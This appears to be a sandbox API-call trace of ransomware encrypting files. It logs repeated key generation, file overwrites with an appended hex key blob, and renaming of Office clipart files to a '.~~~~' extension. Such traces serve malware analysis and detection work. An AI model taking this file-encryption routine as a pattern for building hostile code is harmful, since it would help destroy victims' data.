	[0100.854] WriteFile (in: hFile=0x144, lpBuffer=0x368bb0*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x25dfec0, lpOverlapped=0x0 | out: lpBuffer=0x368bb0*, lpNumberOfBytesWritten=0x25dfec0*=0x8, lpOverlapped=0x0) returned 1
	[0100.855] lstrlenA (lpString="ff9adce5d1999a19d7a1bf41e23a0520dc7873573292a0f0d4cb5ded2ad86c32d7e2da327a4cc55a621e77502b8e9936edbe6c2a95ba91b54d5135697840713b503a1bb495553b8b82806202a8690e6b446dab3a37f229028214d58fce3623dfe03ad041a836746ff68feb9e3d7a9daffeda13d592267e845a652662e2b5552b184ffc86ef05570139632d703f5d377e9c8421469caa9044650bd1effe73e654cecd9aac565e691430a97cfb177904cd8ab67c0ab614b6129833debf0b9d3135ae002eb221e4966953f46fcbd39aa5c8729834b83294aa7d387e63c53c0755302477b25257e354276c4111a1840fee8b8bbfe99664f3bec5880763f2bb52d93b") returned 512
	[0100.855] WriteFile (in: hFile=0x144, lpBuffer=0x47c6e8*, nNumberOfBytesToWrite=0x200, lpNumberOfBytesWritten=0x25dfec0, lpOverlapped=0x0 | out: lpBuffer=0x47c6e8*, lpNumberOfBytesWritten=0x25dfec0*=0x200, lpOverlapped=0x0) returned 1
	[0100.855] CloseHandle (hObject=0x144) returned 1
	[0100.855] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0xa0) returned 0x28dac90
	[0100.855] MoveFileW (lpExistingFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0177257.JPG" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0177257.jpg"), lpNewFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0177257.JPG.~~~~" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0177257.jpg.~~~~")) returned 1
	[0100.856] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x28dac90 | out: hHeap=0x300000) returned 1
	[0100.856] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x357050 | out: hHeap=0x300000) returned 1
	[0100.856] GetLastError () returned 0x0
	[0100.857] CryptAcquireContextA (in: phProv=0x25dfcdc, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x25dfcdc*=0x3a0048) returned 1
	[0100.858] CryptGenRandom (in: hProv=0x3660b0, dwLen=0x20, pbBuffer=0x363058 | out: pbBuffer=0x363058) returned 1
	[0100.858] CryptReleaseContext (hProv=0x3a0048, dwFlags=0x0) returned 1
	[0100.858] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x363058 | out: hHeap=0x300000) returned 1
	[0100.858] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x8) returned 0x368bb0
	[0100.858] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x120c) returned 0x2876008
	[0100.858] QueryPerformanceCounter (in: lpPerformanceCount=0x25dfc48 | out: lpPerformanceCount=0x25dfc48*=22084797361) returned 1
	[0100.858] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x25dfc88 | out: lpSystemTimeAsFileTime=0x25dfc88*(dwLowDateTime=0xa5cc5d90, dwHighDateTime=0x1d60e1e)) 
	[0100.858] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x362360
	[0100.858] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x3623e0
	[0100.858] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x40) returned 0x357050
	[0100.858] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x30) returned 0x2863088
	[0100.858] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x47) returned 0x3582f8
	[0100.858] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x2863088 | out: hHeap=0x300000) returned 1
	[0100.858] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x6a) returned 0x27fd670
	[0100.858] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3582f8 | out: hHeap=0x300000) returned 1
	[0100.858] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x9e) returned 0x28dac90
	[0100.858] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x27fd670 | out: hHeap=0x300000) returned 1
	[0100.858] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x90) returned 0x2865648
	[0100.858] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x28dac90 | out: hHeap=0x300000) returned 1
	[0100.858] RaiseException (dwExceptionCode=0xe06d7363, dwExceptionFlags=0x1, nNumberOfArguments=0x3, lpArguments=0x25dfb18) 
	[0100.859] GetLastError () returned 0x0
	[0100.859] GetLastError () returned 0x0
	[0100.859] RtlUnwind (TargetFrame=0x25dfc20, TargetIp=0x423f9b, ExceptionRecord=0x25df5dc, ReturnValue=0x0) 
	[0100.859] GetLastError () returned 0x0
	[0100.859] GetLastError () returned 0x0
	[0100.932] SetFilePointerEx (in: hFile=0x144, liDistanceToMove=0xffffa21e, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0100.932] WriteFile (in: hFile=0x144, lpBuffer=0x292b060*, nNumberOfBytesToWrite=0x5de2, lpNumberOfBytesWritten=0x25dfec0, lpOverlapped=0x0 | out: lpBuffer=0x292b060*, lpNumberOfBytesWritten=0x25dfec0*=0x5de2, lpOverlapped=0x0) returned 1
	[0100.933] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x292b060 | out: hHeap=0x300000) returned 1
	[0100.933] SetFilePointerEx (in: hFile=0x144, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0100.933] WriteFile (in: hFile=0x144, lpBuffer=0x368bb0*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x25dfec0, lpOverlapped=0x0 | out: lpBuffer=0x368bb0*, lpNumberOfBytesWritten=0x25dfec0*=0x8, lpOverlapped=0x0) returned 1
	[0100.933] lstrlenA (lpString="ff9adce5d1999a19d7a1bf41e23a0520dc7873573292a0f0d4cb5ded2ad86c32d7e2da327a4cc55a621e77502b8e9936edbe6c2a95ba91b54d5135697840713b503a1bb495553b8b82806202a8690e6b446dab3a37f229028214d58fce3623dfe03ad041a836746ff68feb9e3d7a9daffeda13d592267e845a652662e2b5552b184ffc86ef05570139632d703f5d377e9c8421469caa9044650bd1effe73e654cecd9aac565e691430a97cfb177904cd8ab67c0ab614b6129833debf0b9d3135ae002eb221e4966953f46fcbd39aa5c8729834b83294aa7d387e63c53c0755302477b25257e354276c4111a1840fee8b8bbfe99664f3bec5880763f2bb52d93b") returned 512
	[0100.933] WriteFile (in: hFile=0x144, lpBuffer=0x47c6e8*, nNumberOfBytesToWrite=0x200, lpNumberOfBytesWritten=0x25dfec0, lpOverlapped=0x0 | out: lpBuffer=0x47c6e8*, lpNumberOfBytesWritten=0x25dfec0*=0x200, lpOverlapped=0x0) returned 1
	[0100.933] CloseHandle (hObject=0x144) returned 1
	[0100.934] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0xa0) returned 0x28dac90
	[0100.935] MoveFileW (lpExistingFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0178523.JPG" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0178523.jpg"), lpNewFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0178523.JPG.~~~~" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0178523.jpg.~~~~")) returned 1
	[0101.281] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x28dac90 | out: hHeap=0x300000) returned 1
	[0101.281] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x357050 | out: hHeap=0x300000) returned 1
	[0101.281] GetLastError () returned 0x0
	[0101.281] CryptAcquireContextA (in: phProv=0x25dfcdc, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x25dfcdc*=0x3a0048) returned 1
	[0101.283] CryptGenRandom (in: hProv=0x3660b0, dwLen=0x20, pbBuffer=0x363058 | out: pbBuffer=0x363058) returned 1
	[0101.283] CryptReleaseContext (hProv=0x3a0048, dwFlags=0x0) returned 1
	[0101.283] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x363058 | out: hHeap=0x300000) returned 1
	[0101.283] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x8) returned 0x368bb0
	[0101.283] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x120c) returned 0x2876008
	[0101.283] QueryPerformanceCounter (in: lpPerformanceCount=0x25dfc48 | out: lpPerformanceCount=0x25dfc48*=22127295674) returned 1
	[0101.283] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x25dfc88 | out: lpSystemTimeAsFileTime=0x25dfc88*(dwLowDateTime=0xa60ca2b0, dwHighDateTime=0x1d60e1e)) 
	[0101.283] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x3623e0
	[0101.283] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x362360
	[0101.283] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x40) returned 0x357050
	[0101.283] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x30) returned 0x28631d8
	[0101.283] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x47) returned 0x3582f8
	[0101.283] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x28631d8 | out: hHeap=0x300000) returned 1
	[0101.283] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x6a) returned 0x27fd3a0
	[0101.283] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3582f8 | out: hHeap=0x300000) returned 1
	[0101.283] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x9e) returned 0x28dac90
	[0101.283] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x27fd3a0 | out: hHeap=0x300000) returned 1
	[0101.284] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x90) returned 0x2865940
	[0101.284] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x28dac90 | out: hHeap=0x300000) returned 1
	[0101.284] RaiseException (dwExceptionCode=0xe06d7363, dwExceptionFlags=0x1, nNumberOfArguments=0x3, lpArguments=0x25dfb18) 
	[0101.284] GetLastError () returned 0x0
	[0101.284] GetLastError () returned 0x0
	[0101.284] RtlUnwind (TargetFrame=0x25dfc20, TargetIp=0x423f9b, ExceptionRecord=0x25df5dc, ReturnValue=0x0) 
	[0101.284] GetLastError () returned 0x0
	[0101.284] GetLastError () returned 0x0
	[0102.498] SetFilePointerEx (in: hFile=0x144, liDistanceToMove=0xffffa0b8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0102.498] WriteFile (in: hFile=0x144, lpBuffer=0x28f9050*, nNumberOfBytesToWrite=0x5f48, lpNumberOfBytesWritten=0x25dfec0, lpOverlapped=0x0 | out: lpBuffer=0x28f9050*, lpNumberOfBytesWritten=0x25dfec0*=0x5f48, lpOverlapped=0x0) returned 1
	[0102.499] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x28f9050 | out: hHeap=0x300000) returned 1
	[0102.502] SetFilePointerEx (in: hFile=0x144, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0102.502] WriteFile (in: hFile=0x144, lpBuffer=0x368bb0*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x25dfec0, lpOverlapped=0x0 | out: lpBuffer=0x368bb0*, lpNumberOfBytesWritten=0x25dfec0*=0x8, lpOverlapped=0x0) returned 1
	[0102.503] lstrlenA (lpString="ff9adce5d1999a19d7a1bf41e23a0520dc7873573292a0f0d4cb5ded2ad86c32d7e2da327a4cc55a621e77502b8e9936edbe6c2a95ba91b54d5135697840713b503a1bb495553b8b82806202a8690e6b446dab3a37f229028214d58fce3623dfe03ad041a836746ff68feb9e3d7a9daffeda13d592267e845a652662e2b5552b184ffc86ef05570139632d703f5d377e9c8421469caa9044650bd1effe73e654cecd9aac565e691430a97cfb177904cd8ab67c0ab614b6129833debf0b9d3135ae002eb221e4966953f46fcbd39aa5c8729834b83294aa7d387e63c53c0755302477b25257e354276c4111a1840fee8b8bbfe99664f3bec5880763f2bb52d93b") returned 512
	[0102.503] WriteFile (in: hFile=0x144, lpBuffer=0x47c6e8*, nNumberOfBytesToWrite=0x200, lpNumberOfBytesWritten=0x25dfec0, lpOverlapped=0x0 | out: lpBuffer=0x47c6e8*, lpNumberOfBytesWritten=0x25dfec0*=0x200, lpOverlapped=0x0) returned 1
	[0102.503] CloseHandle (hObject=0x144) returned 1
	[0102.503] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0xa0) returned 0x28dac90
	[0102.503] MoveFileW (lpExistingFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0182888.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0182888.wmf"), lpNewFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0182888.WMF.~~~~" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0182888.wmf.~~~~")) returned 1
	[0102.504] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x28dac90 | out: hHeap=0x300000) returned 1
	[0102.504] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x357050 | out: hHeap=0x300000) returned 1
	[0102.504] GetLastError () returned 0x0
	[0102.505] CryptAcquireContextA (in: phProv=0x25dfcdc, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x25dfcdc*=0x3a0048) returned 1
	[0102.506] CryptGenRandom (in: hProv=0x3660b0, dwLen=0x20, pbBuffer=0x363058 | out: pbBuffer=0x363058) returned 1
	[0102.506] CryptReleaseContext (hProv=0x3a0048, dwFlags=0x0) returned 1
	[0102.506] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x363058 | out: hHeap=0x300000) returned 1
	[0102.506] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x8) returned 0x368bb0
	[0102.506] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x120c) returned 0x2876008
	[0102.506] QueryPerformanceCounter (in: lpPerformanceCount=0x25dfc48 | out: lpPerformanceCount=0x25dfc48*=22249605593) returned 1
	[0102.506] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x25dfc88 | out: lpSystemTimeAsFileTime=0x25dfc88*(dwLowDateTime=0xa6c8af50, dwHighDateTime=0x1d60e1e)) 
	[0102.506] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x362360
	[0102.506] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x3623e0
	[0102.506] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x40) returned 0x357050
	[0102.506] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x30) returned 0x28632f0
	[0102.506] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x47) returned 0x3582f8
	[0102.506] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x28632f0 | out: hHeap=0x300000) returned 1
	[0102.506] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x6a) returned 0x27fd3a0
	[0102.506] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3582f8 | out: hHeap=0x300000) returned 1
	[0102.506] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x9e) returned 0x28dac90
	[0102.506] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x27fd3a0 | out: hHeap=0x300000) returned 1
	[0102.507] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x90) returned 0x2865cd0
	[0102.507] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x28dac90 | out: hHeap=0x300000) returned 1
	[0102.507] RaiseException (dwExceptionCode=0xe06d7363, dwExceptionFlags=0x1, nNumberOfArguments=0x3, lpArguments=0x25dfb18) 
	[0102.507] GetLastError () returned 0x0
	[0102.507] GetLastError () returned 0x0
	[0102.507] RtlUnwind (TargetFrame=0x25dfc20, TargetIp=0x423f9b, ExceptionRecord=0x25df5dc, ReturnValue=0x0) 
	[0102.507] GetLastError () returned 0x0
	[0102.507] GetLastError () returned 0x0
	[0102.522] SetFilePointerEx (in: hFile=0x144, liDistanceToMove=0xffff902e, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0102.522] WriteFile (in: hFile=0x144, lpBuffer=0x28f9050*, nNumberOfBytesToWrite=0x6fd2, lpNumberOfBytesWritten=0x25dfec0, lpOverlapped=0x0 | out: lpBuffer=0x28f9050*, lpNumberOfBytesWritten=0x25dfec0*=0x6fd2, lpOverlapped=0x0) returned 1
	[0102.524] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x28f9050 | out: hHeap=0x300000) returned 1
	[0102.524] SetFilePointerEx (in: hFile=0x144, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0102.524] WriteFile (in: hFile=0x144, lpBuffer=0x368bb0*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x25dfec0, lpOverlapped=0x0 | out: lpBuffer=0x368bb0*, lpNumberOfBytesWritten=0x25dfec0*=0x8, lpOverlapped=0x0) returned 1
	[0102.524] lstrlenA (lpString="ff9adce5d1999a19d7a1bf41e23a0520dc7873573292a0f0d4cb5ded2ad86c32d7e2da327a4cc55a621e77502b8e9936edbe6c2a95ba91b54d5135697840713b503a1bb495553b8b82806202a8690e6b446dab3a37f229028214d58fce3623dfe03ad041a836746ff68feb9e3d7a9daffeda13d592267e845a652662e2b5552b184ffc86ef05570139632d703f5d377e9c8421469caa9044650bd1effe73e654cecd9aac565e691430a97cfb177904cd8ab67c0ab614b6129833debf0b9d3135ae002eb221e4966953f46fcbd39aa5c8729834b83294aa7d387e63c53c0755302477b25257e354276c4111a1840fee8b8bbfe99664f3bec5880763f2bb52d93b") returned 512
	[0102.524] WriteFile (in: hFile=0x144, lpBuffer=0x47c6e8*, nNumberOfBytesToWrite=0x200, lpNumberOfBytesWritten=0x25dfec0, lpOverlapped=0x0 | out: lpBuffer=0x47c6e8*, lpNumberOfBytesWritten=0x25dfec0*=0x200, lpOverlapped=0x0) returned 1
	[0102.525] CloseHandle (hObject=0x144) returned 1
	[0102.525] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0xa0) returned 0x28dac90
	[0102.525] MoveFileW (lpExistingFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0183174.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0183174.wmf"), lpNewFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0183174.WMF.~~~~" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0183174.wmf.~~~~")) returned 1
	[0102.531] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x28dac90 | out: hHeap=0x300000) returned 1
	[0102.531] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x357050 | out: hHeap=0x300000) returned 1
	[0102.532] GetLastError () returned 0x0
	[0102.532] CryptAcquireContextA (in: phProv=0x25dfcdc, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x25dfcdc*=0x3a0048) returned 1
	[0102.534] CryptGenRandom (in: hProv=0x3660b0, dwLen=0x20, pbBuffer=0x363058 | out: pbBuffer=0x363058) returned 1
	[0102.534] CryptReleaseContext (hProv=0x3a0048, dwFlags=0x0) returned 1
	[0102.534] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x363058 | out: hHeap=0x300000) returned 1
	[0102.534] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x8) returned 0x368bb0
	[0102.534] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x120c) returned 0x2876008
	[0102.534] QueryPerformanceCounter (in: lpPerformanceCount=0x25dfc48 | out: lpPerformanceCount=0x25dfc48*=22252402586) returned 1
	[0102.534] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x25dfc88 | out: lpSystemTimeAsFileTime=0x25dfc88*(dwLowDateTime=0xa6cd7210, dwHighDateTime=0x1d60e1e)) 
	[0102.534] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x3623e0
	[0102.534] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x362360
	[0102.534] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x40) returned 0x357050
	[0102.534] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x30) returned 0x2863328
	[0102.534] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x47) returned 0x3582f8
	[0102.534] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x2863328 | out: hHeap=0x300000) returned 1
	[0102.534] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x6a) returned 0x27fd3a0
	[0102.534] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3582f8 | out: hHeap=0x300000) returned 1
	[0102.534] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x9e) returned 0x28dac90
	[0102.535] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x27fd3a0 | out: hHeap=0x300000) returned 1
	[0102.535] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x90) returned 0x2865fc8
	[0102.535] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x28dac90 | out: hHeap=0x300000) returned 1
	[0102.535] RaiseException (dwExceptionCode=0xe06d7363, dwExceptionFlags=0x1, nNumberOfArguments=0x3, lpArguments=0x25dfb18) 
	[0102.535] GetLastError () returned 0x0
	[0102.535] GetLastError () returned 0x0
	[0102.535] RtlUnwind (TargetFrame=0x25dfc20, TargetIp=0x423f9b, ExceptionRecord=0x25df5dc, ReturnValue=0x0) 
	[0102.535] GetLastError () returned 0x0
	[0102.535] GetLastError () returned 0x0
	[0102.607] SetFilePointerEx (in: hFile=0x144, liDistanceToMove=0xffffa092, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0102.607] WriteFile (in: hFile=0x144, lpBuffer=0x28f9050*, nNumberOfBytesToWrite=0x5f6e, lpNumberOfBytesWritten=0x25dfec0, lpOverlapped=0x0 | out: lpBuffer=0x28f9050*, lpNumberOfBytesWritten=0x25dfec0*=0x5f6e, lpOverlapped=0x0) returned 1
	[0102.608] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x28f9050 | out: hHeap=0x300000) returned 1
	[0102.608] SetFilePointerEx (in: hFile=0x144, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0102.609] WriteFile (in: hFile=0x144, lpBuffer=0x368bb0*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x25dfec0, lpOverlapped=0x0 | out: lpBuffer=0x368bb0*, lpNumberOfBytesWritten=0x25dfec0*=0x8, lpOverlapped=0x0) returned 1
	[0102.609] lstrlenA (lpString="ff9adce5d1999a19d7a1bf41e23a0520dc7873573292a0f0d4cb5ded2ad86c32d7e2da327a4cc55a621e77502b8e9936edbe6c2a95ba91b54d5135697840713b503a1bb495553b8b82806202a8690e6b446dab3a37f229028214d58fce3623dfe03ad041a836746ff68feb9e3d7a9daffeda13d592267e845a652662e2b5552b184ffc86ef05570139632d703f5d377e9c8421469caa9044650bd1effe73e654cecd9aac565e691430a97cfb177904cd8ab67c0ab614b6129833debf0b9d3135ae002eb221e4966953f46fcbd39aa5c8729834b83294aa7d387e63c53c0755302477b25257e354276c4111a1840fee8b8bbfe99664f3bec5880763f2bb52d93b") returned 512
	[0102.609] WriteFile (in: hFile=0x144, lpBuffer=0x47c6e8*, nNumberOfBytesToWrite=0x200, lpNumberOfBytesWritten=0x25dfec0, lpOverlapped=0x0 | out: lpBuffer=0x47c6e8*, lpNumberOfBytesWritten=0x25dfec0*=0x200, lpOverlapped=0x0) returned 1
	[0102.609] CloseHandle (hObject=0x144) returned 1
	[0102.609] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0xa0) returned 0x28dac90
	[0102.609] MoveFileW (lpExistingFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0183198.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0183198.wmf"), lpNewFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0183198.WMF.~~~~" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0183198.wmf.~~~~")) returned 1
	[0102.611] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x28dac90 | out: hHeap=0x300000) returned 1
	[0102.611] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x357050 | out: hHeap=0x300000) returned 1
	[0102.611] GetLastError () returned 0x0
	[0102.612] CryptAcquireContextA (in: phProv=0x25dfcdc, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x25dfcdc*=0x3a0048) returned 1
	[0102.614] CryptGenRandom (in: hProv=0x3660b0, dwLen=0x20, pbBuffer=0x363058 | out: pbBuffer=0x363058) returned 1
	[0102.614] CryptReleaseContext (hProv=0x3a0048, dwFlags=0x0) returned 1
	[0102.614] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x363058 | out: hHeap=0x300000) returned 1
	[0102.614] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x8) returned 0x368bb0
	[0102.614] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x120c) returned 0x2876008
	[0102.614] QueryPerformanceCounter (in: lpPerformanceCount=0x25dfc48 | out: lpPerformanceCount=0x25dfc48*=22260428232) returned 1
	[0102.614] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x25dfc88 | out: lpSystemTimeAsFileTime=0x25dfc88*(dwLowDateTime=0xa6d958f0, dwHighDateTime=0x1d60e1e)) 
	[0102.614] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x362360
	[0102.614] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x3623e0
	[0102.614] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x40) returned 0x357050
	[0102.614] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x30) returned 0x3a2aa0
	[0102.615] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x47) returned 0x3582f8
	[0102.615] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3a2aa0 | out: hHeap=0x300000) returned 1
	[0102.615] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x6a) returned 0x27fd3a0
	[0102.615] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3582f8 | out: hHeap=0x300000) returned 1
	[0102.615] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x9e) returned 0x28dac90
	[0102.615] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x27fd3a0 | out: hHeap=0x300000) returned 1
	[0102.615] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x90) returned 0x285fe98
	[0102.615] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x28dac90 | out: hHeap=0x300000) returned 1
	[0102.615] RaiseException (dwExceptionCode=0xe06d7363, dwExceptionFlags=0x1, nNumberOfArguments=0x3, lpArguments=0x25dfb18) 
	[0102.615] GetLastError () returned 0x0
	[0102.616] GetLastError () returned 0x0
	[0102.616] RtlUnwind (TargetFrame=0x25dfc20, TargetIp=0x423f9b, ExceptionRecord=0x25df5dc, ReturnValue=0x0) 
	[0102.616] GetLastError () returned 0x0
	[0102.616] GetLastError () returned 0x0
	[0102.781] SetFilePointerEx (in: hFile=0x144, liDistanceToMove=0xffffb1ba, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0102.782] WriteFile (in: hFile=0x144, lpBuffer=0x28f9050*, nNumberOfBytesToWrite=0x4e46, lpNumberOfBytesWritten=0x25dfec0, lpOverlapped=0x0 | out: lpBuffer=0x28f9050*, lpNumberOfBytesWritten=0x25dfec0*=0x4e46, lpOverlapped=0x0) returned 1
